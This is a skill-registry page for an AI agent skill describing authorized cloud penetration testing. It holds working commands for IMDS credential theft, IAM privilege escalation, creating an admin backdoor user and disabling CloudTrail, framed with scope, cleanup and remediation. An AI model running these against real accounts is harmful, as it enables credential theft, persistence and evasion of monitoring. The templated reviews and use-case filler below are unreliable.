conducting-cloud-penetration-testing▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
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This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix.
| name | conducting-cloud-penetration-testing |
| description | 'This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix. ' |
| domain | cybersecurity |
| subdomain | cloud-security |
| tags | - cloud-pentesting - offensive-security - aws-exploitation - shared-responsibility - mitre-attack-cloud |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_ai_rmf | - MEASURE-2.7 - MAP-5.1 - MANAGE-2.4 |
| atlas_techniques | - AML.T0070 - AML.T0066 - AML.T0082 |
| d3fend_techniques | - Token Binding - Restore Access - Application Protocol Command Analysis - Reissue Credential - Network Isolation |
| nist_csf | - PR.IR-01 - ID.AM-08 - GV.SC-06 - DE.CM-01 |
Conducting Cloud Penetration Testing
When to Use
- When performing authorized security assessments of cloud environments before production deployment
- When validating cloud security controls after a major architectural change or migration
- When compliance requirements mandate annual penetration testing of cloud infrastructure
- When testing incident response readiness by simulating realistic cloud-based attack scenarios
- When assessing lateral movement risk across multi-account or multi-cloud environments
Do not use for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval.
Prerequisites
- Written authorization from the cloud account owner and scope definition document
- AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services)
- Isolated testing account or explicitly scoped production account with breakglass procedures
- Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox
- MITRE ATT&CK Cloud matrix for finding classification
Workflow
Step 1: Define Scope and Rules of Engagement
Establish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals.
Cloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20
IN SCOPE:
- IAM users, roles, policies, and cross-account trust
- EC2 instances, security groups, and network ACLs
- S3 bucket policies and data access controls
- Lambda functions, API Gateway endpoints
- RDS/DynamoDB access controls and encryption
- EKS cluster RBAC and network policies
- CloudTrail, Config, and monitoring gaps
OUT OF SCOPE:
- AWS managed service internals (RDS engine, Lambda runtime)
- DDoS attacks or volumetric testing
- Physical infrastructure or hypervisor attacks
- Social engineering of AWS support
EMERGENCY CONTACT: [email protected], +1-555-0199
Step 2: Reconnaissance and Cloud Enumeration
Use cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints.
# ScoutSuite multi-cloud assessment
scout suite aws --profile target-account --report-dir ./scout-report
# Prowler comprehensive AWS security assessment
prowler aws -M json-ocsf -o ./prowler-output --profile target-account
# CloudFox for identifying privilege escalation paths
cloudfox aws --profile target-account all-checks
# Enumerate public S3 buckets
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done
# Check for IMDS v1 (vulnerable to SSRF)
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
--output table
Step 3: IAM Privilege Escalation Testing
Use Pacu to identify and exploit IAM misconfigurations that allow privilege escalation from a low-privilege starting point to administrative access.
# Initialize Pacu session
pacu
# Set stolen or test credentials
set_keys --key-alias test-creds
# Run IAM enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
# Check for privilege escalation paths
run iam__privesc_scan
# Common escalation paths to test:
# 1. iam:CreatePolicyVersion - Create new policy version with admin access
# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self
# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role
# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile
# 5. sts:AssumeRole - Cross-account role assumption without MFA condition
Step 4: SSRF to Cloud Metadata Service Exploitation
Test web applications for Server-Side Request Forgery vulnerabilities that can reach the instance metadata service (IMDS) at 169.254.169.254 to steal IAM role credentials.
# Test for IMDS v1 access (no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Test for IMDS v2 (requires token - more secure)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure IMDS equivalent
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP metadata service
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
Step 5: Lateral Movement and Data Access
Test cross-account role assumptions, VPC peering connections, and shared resource access to map lateral movement opportunities.
# Enumerate cross-account role trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table
# Test cross-account assumption
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
--role-session-name pentest-session
# Enumerate accessible S3 data with stolen credentials
aws s3 ls --recursive s3://target-bucket/ --summarize
# Check Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables' --output json 2>/dev/null
done
Step 6: Persistence and Detection Evasion Testing
Test whether the organization's monitoring detects persistence mechanisms such as new IAM users, access keys, Lambda backdoors, or CloudTrail disabling.
# Test: Create backdoor IAM user (authorized test only)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Test: Disable CloudTrail (verify GuardDuty alerts)
aws cloudtrail stop-logging --name management-trail
# Test: Create Lambda for persistence (authorized test only)
# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled?
# Verify: Did Security Hub alert on the new admin user?
# CLEANUP: Remove all persistence artifacts after testing
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail
Step 7: Report Findings with MITRE ATT&CK Mapping
Document all findings mapped to the MITRE ATT&CK Cloud matrix with severity, proof of concept, business impact, and remediation guidance.
Key Concepts
| Term | Definition |
|---|---|
| Shared Responsibility Model | Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls |
| IMDS | Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access |
| Privilege Escalation | Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account |
| Lateral Movement | Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers |
| Pacu | Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence |
| ScoutSuite | Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk findings |
| MITRE ATT&CK Cloud | Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration |
Tools & Systems
- Pacu: AWS-focused exploitation framework with modules for IAM enumeration, privilege escalation, and persistence testing
- ScoutSuite: Multi-cloud (AWS, Azure, GCP) security auditing tool generating comprehensive risk reports from API data collection
- CloudFox: AWS and Azure enumeration tool for identifying attack paths, privilege escalation vectors, and data access opportunities
- Prowler: Open-source cloud security assessment tool with 300+ checks across AWS, Azure, and GCP
- Cartography: Neo4j-based tool that maps relationships between cloud resources for visual attack path analysis
Common Scenarios
Scenario: SSRF in Web Application Leads to Full Account Compromise
Context: A penetration tester discovers an SSRF vulnerability in a web application hosted on an EC2 instance running IMDSv1. The instance has an IAM role with broad S3 and Lambda permissions.
Approach:
- Exploit the SSRF to reach http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
- Extract temporary IAM credentials (AccessKeyId, SecretAccessKey, SessionToken)
- Use the credentials to enumerate accessible S3 buckets and download sensitive data
- Check if the role has iam:PassRole + lambda:CreateFunction for privilege escalation to admin
- Document the full attack chain from SSRF to account-level compromise
- Recommend: enforce IMDSv2, reduce IAM role scope, add VPC endpoint policies blocking IMDS from application tier
Pitfalls: Not testing IMDSv2 enforcement separately from IMDSv1 gives incomplete results. Failing to clean up test artifacts (backdoor users, Lambda functions) leaves real vulnerabilities after the engagement.
Output Format
Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement
EXECUTIVE SUMMARY:
Starting with read-only developer credentials, the assessment achieved
full administrative access to the production account within 3 hours through
an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.
CRITICAL FINDINGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
Severity: CRITICAL
Starting Point: Developer role with iam:CreatePolicyVersion permission
Impact: Full administrative access to all account resources
Evidence: Created policy version granting iam:* and s3:* to test role
Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary
[PT-002] SSRF to IMDS Credential Theft
ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
Severity: CRITICAL
Starting Point: Web application URL parameter vulnerable to SSRF
Impact: Extracted IAM role credentials with S3 and Lambda access
Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope
FINDING SUMMARY BY MITRE ATT&CK TACTIC:
Initial Access: 4 findings
Execution: 3 findings
Persistence: 6 findings
Privilege Escalation: 8 findings (3 Critical)
Defense Evasion: 5 findings
Credential Access: 7 findings
Discovery: 14 findings
Total: 47 findings
How to use conducting-cloud-penetration-testing on Cursor
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Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add conducting-cloud-penetration-testing
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches conducting-cloud-penetration-testing from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate conducting-cloud-penetration-testing. Access the skill through slash commands (e.g., /conducting-cloud-penetration-testing) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
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Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.8★★★★★34 reviews- ★★★★★Arya Nasser· Dec 28, 2024
conducting-cloud-penetration-testing has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Mia Gonzalez· Dec 16, 2024
Useful defaults in conducting-cloud-penetration-testing — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Shikha Mishra· Dec 12, 2024
conducting-cloud-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Diego Malhotra· Nov 27, 2024
We added conducting-cloud-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Isabella Gupta· Nov 23, 2024
Solid pick for teams standardizing on skills: conducting-cloud-penetration-testing is focused, and the summary matches what you get after install.
- ★★★★★Noah Thomas· Nov 19, 2024
conducting-cloud-penetration-testing reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Camila Menon· Nov 7, 2024
I recommend conducting-cloud-penetration-testing for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Yash Thakker· Nov 3, 2024
Keeps context tight: conducting-cloud-penetration-testing is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Benjamin Bhatia· Oct 26, 2024
conducting-cloud-penetration-testing reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Dhruvi Jain· Oct 22, 2024
Registry listing for conducting-cloud-penetration-testing matched our evaluation — installs cleanly and behaves as described in the markdown.
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